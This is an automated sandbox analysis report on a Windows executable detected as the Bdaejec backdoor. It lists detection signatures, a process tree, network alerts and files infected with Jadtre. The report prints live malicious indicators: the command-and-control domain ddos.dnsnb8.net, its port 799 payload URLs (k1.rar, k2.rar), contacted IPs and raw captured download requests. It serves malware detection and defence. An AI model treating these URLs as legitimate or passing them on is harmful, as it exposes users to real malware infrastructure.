Edit tour

Windows Analysis Report
8VB4lVuZk3.exe

Overview

General Information

Sample name:	8VB4lVuZk3.exe renamed because original name is a hash value
Original sample name:	BF6EE92CF97D4193943CD99DE27B17C4DBD27885CC0A3152B32D2CD97CFFB873.exe
Analysis ID:	1480762
MD5:	51309d30f3fb3295fea0b6d3084c4d26
SHA1:	86601e2b6b32ee19c3072221c75ac009165226b7
SHA256:	bf6ee92cf97d4193943cd99de27b17c4dbd27885cc0a3152b32d2cd97cffb873
Tags:	exe
Infos:

Detection

Bdaejec

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Yara detected Bdaejec

AI detected suspicious sample

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Classification

Process Tree

System is w10x64

8VB4lVuZk3.exe (PID: 6464 cmdline: "C:\Users\user\Desktop\8VB4lVuZk3.exe" MD5: 51309D30F3FB3295FEA0B6D3084C4D26)

XFAGWZ.exe (PID: 5356 cmdline: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe MD5: 56B2C3810DBA2E939A8BB9FA36D3CF96)

WerFault.exe (PID: 7288 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5356 -s 1224 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: XFAGWZ.exe PID: 5356	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-24T23:49:20.932540+0200
SID:	2022930
Source Port:	443
Destination Port:	49741
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.4 - Destination IP: 44.221.84.105

Timestamp:	2024-07-24T23:49:03.660681+0200
SID:	2807908
Source Port:	49730
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.4 - Destination IP: 44.221.84.105

Timestamp:	2024-07-24T23:49:08.723751+0200
SID:	2807908
Source Port:	49731
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - Possible Malware - Fake Firefox Font Update - Source IP: 192.168.2.4 - Destination IP: 13.89.179.12

Timestamp:	2024-07-24T23:49:23.114028+0200
SID:	2028371
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-24T23:49:58.296193+0200
SID:	2022930
Source Port:	443
Destination Port:	49744
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T23:49:02.882461+0200
SID:	2838522
Source Port:	55441
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 8VB4lVuZk3.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net:799/cj//k2.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarX(3	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net/;	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net/	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarJ	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarX	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net/XK	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar=zP	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarp	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rard	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 8VB4lVuZk3.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DFE80 e2ee_RSAPublicDecrypt,	0_2_6C8DFE80
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DEFB0 e2ee_cryptoHASH,	0_2_6C8DEFB0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DEF70 e2ee_cryptoCreator,	0_2_6C8DEF70
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DF880 e2ee_cryptoGetCryptoCommon,	0_2_6C8DF880
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DFBF0 e2ee_RSAPublicEncrypt,	0_2_6C8DFBF0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DF630 e2ee_cryptoDecrypt,	0_2_6C8DF630
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DF180 e2ee_cryptoHMAC,	0_2_6C8DF180
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8E0110 e2ee_RSAPrivateEncrypt,	0_2_6C8E0110
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8E03A0 e2ee_RSAPrivateDecrypt,	0_2_6C8E03A0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8DF3E0 e2ee_cryptoEncrypt,	0_2_6C8DF3E0

Source: 8VB4lVuZk3.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: 8VB4lVuZk3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source:	Binary string: C:\Program Files (x86)\e\lib\e2ee.pdb source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr
Source:	Binary string: -C:\Program Files (x86)\e\lib\e2ee.pdbxw source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Code function: 1_2_006B29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,

1_2_006B29E2

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Code function: 1_2_006B2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_006B2B8C

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 799

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 44.221.84.105:799

Source: Joe Sandbox View

IP Address: 44.221.84.105 44.221.84.105

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: 0_2_6C8FE380 e2ee_httpclientGetTimeoutRecv,

0_2_6C8FE380

Source: global traffic	HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cj//k2.rar HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: ddos.dnsnb8.net

Source: XFAGWZ.exe, 00000001.00000002.1891999307.00000000006B3000.00000002.00000001.01000000.00000004.sdmp, XFAGWZ.exe, 00000001.00000003.1685039072.0000000000F90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: 8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://127.0.0.1/list
Source: 8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://127.0.0.1:8984/solr/e2ee
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://count.jimstone.com.cn/api/v1/countSite?api_version=1.0
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://count.jimstone.com.cn/api/v1/countSite?api_version=1.0SELECT
Source: XFAGWZ.exe, 00000001.00000003.1696071280.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: XFAGWZ.exe, 00000001.00000003.1696071280.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/;
Source: XFAGWZ.exe, 00000001.00000003.1696071280.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/XK
Source: XFAGWZ.exe, 00000001.00000003.1695679866.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: XFAGWZ.exe, 00000001.00000002.1892621904.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar=zP
Source: XFAGWZ.exe, 00000001.00000003.1696181458.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarcC:
Source: XFAGWZ.exe, 00000001.00000002.1892621904.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000002.1893600310.0000000002BFA000.00000004.00000010.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000002.1892621904.0000000001209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: XFAGWZ.exe, 00000001.00000002.1892621904.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarJ
Source: XFAGWZ.exe, 00000001.00000002.1892621904.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarX
Source: XFAGWZ.exe, 00000001.00000002.1892621904.0000000001209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarX(3
Source: XFAGWZ.exe, 00000001.00000002.1892621904.0000000001209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rard
Source: XFAGWZ.exe, 00000001.00000002.1893600310.0000000002BFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarp
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://e2ee.jimstone.com.cn
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://e2ee.jimstone.com.cn/
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://e2ee.jimstone.com.cn;http://e2ee.jimstone.com.cn:8000;http://e2ee2.jimstone.com.cn:8000;http:
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://e2ee.jimstone.com.cninformationen_US
Source: 8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://e2eeE.com:8443
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://eb.jimstone.com.cn
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/disco/scl/
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/disco/soap/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/xmlns:soapsoap:Bodyxmlns%Y-%m-%dT%H:%M:%S%02d:00
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl-extensions/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl-extensions/wrpchttp://schemas.xmlsoap.org/wsdl/rpc/soaphttp://schema
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl-instance/
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/http/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/mime/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/rpc/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: Amcache.hve.1.dr	String found in binary or memory: http://upx.sf.net
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/scalperEquityOrder/checkNewOrder
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/scalperEquityOrder/fetchOrder
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/scalperEquityOrder/fetchOrder&JSESSIONID=orderId=errorCode200
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/scalperEquityOrder/queryPool
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/scalperEquityOrder/queryPoolpageNum=1&pageSize=10&brand=4&JSESSIONID=da
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/user/getPublicKey
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/user/getPublicKeyuserNo=data
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/user/login
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/user/login&shareCode=&loginPwd=data.remarkerrorMsg5
Source: 8VB4lVuZk3.exe	String found in binary or memory: http://vipapi.chadanwang.com/user/userInfo
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.activestate.comHolger
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.baanboard.comBrendon
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.baidu.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.develop.comDeepak
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.jimstone.com.cn/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.jimstone.com.cn/Location
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.jimstone.com.cn/e2ee/docs/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.jimstone.com.cn/english/
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.jimstone.com.cn/english/Referer
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.jimstone.com.cn/refresh
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.lua.org
Source: E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.rftp.comJosiah
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.scintilla.org/scite.rng
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.com
Source: SciTE.exe.1.dr	String found in binary or memory: http://www.spaceblue.comMathias
Source: 8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.w3school.com.cn/cssref/css_selectors.asp
Source: 8VB4lVuZk3.exe, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: http://www.w3school.com.cn/json/json_syntax.asp
Source: 8VB4lVuZk3.exe, 00000000.00000003.1692440298.0000000003147000.00000004.00000020.00020000.00000000.sdmp, 8VB4lVuZk3.exe, 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmp, E2EECore.2.7.2.dll.0.dr	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: XFAGWZ.exe, 00000001.00000002.1892621904.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000003.1696181458.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, XFAGWZ.exe, 00000001.00000003.1695679866.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com#zQ
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/
Source: SciTE.exe.1.dr	String found in binary or memory: https://www.smartsharesystems.com/Morten

Source: SciTE.exe.1.dr

Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \

memstr_f9ecea49-2

System Summary

PE file contains section with special chars

Source: MyProg.exe.1.dr

Static PE information: section name: Y|uR

PE file has a writeable .text section

Source: XFAGWZ.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C86ED90	0_2_6C86ED90
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C93AE10	0_2_6C93AE10
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C8708E0	0_2_6C8708E0
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C909830	0_2_6C909830
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6CC02960	0_2_6CC02960
Source: C:\Users\user\Desktop\8VB4lVuZk3.exe	Code function: 0_2_6C982450	0_2_6C982450
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Code function: 1_2_006B6076	1_2_006B6076
Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe	Code function: 1_2_006B6D00	1_2_006B6D00

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\E2EECore.2.7.2.dll 982A177924762F270B36FE34C7D6847392B48AE53151DC2011078DCEEF487A53

Source: C:\Users\user\Desktop\8VB4lVuZk3.exe

Code function: String function: 6CC03A36 appears 35 times

Source: C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5356 -s 1224

Source: MyProg.exe.1.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

